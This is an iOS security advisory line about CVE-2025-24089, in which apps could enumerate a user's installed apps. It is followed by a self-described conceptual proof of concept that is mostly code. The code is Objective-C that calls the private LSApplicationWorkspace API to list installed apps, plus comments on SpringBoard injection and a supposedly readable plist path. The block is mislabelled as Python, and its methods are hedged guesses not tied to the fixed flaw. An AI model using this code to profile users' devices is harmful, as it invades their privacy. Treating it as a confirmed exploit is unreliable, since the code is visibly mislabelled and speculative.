A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 18.3 and iPadOS 18.3. An app may be able to enumerate a user's installed apps.
The following code is for security research and authorized testing only.
python
// CVE-2025-24089 PoC - Application Enumeration
// Note: This is a conceptual PoC demonstrating the vulnerability
// Actual exploitation may require specific iOS private APIs or techniques
// Method 1: Using LSApplicationWorkspace (requires private framework)
/*
Class workspaceClass = NSClassFromString(@"LSApplicationWorkspace");
id workspace = [workspaceClass defaultWorkspace];
NSArray *installedApps = [workspace allInstalledApplications];
for (id app in installedApps) {
NSLog(@"App ID: %@", [app bundleIdentifier]);
NSLog(@"App Name: %@", [app localizedName]);
}
*/
// Method 2: Querying SpringBoard for installed apps
/*
// This would require injecting into SpringBoard process
// or exploiting the vulnerable API exposed by the system
// The vulnerability allows enumeration through:
// - LSApplicationWorkspace methods
// - FBSystemService protected APIs
// - MobileInstallation lookup mechanisms
*/
// Method 3: File-based enumeration (if applicable)
/*
// Some iOS versions store app lists in accessible locations
NSString *appListPath = @"/var/mobile/Library/Preferences/com.apple.installedapps.plist";
// If readable, could enumerate installed apps
*/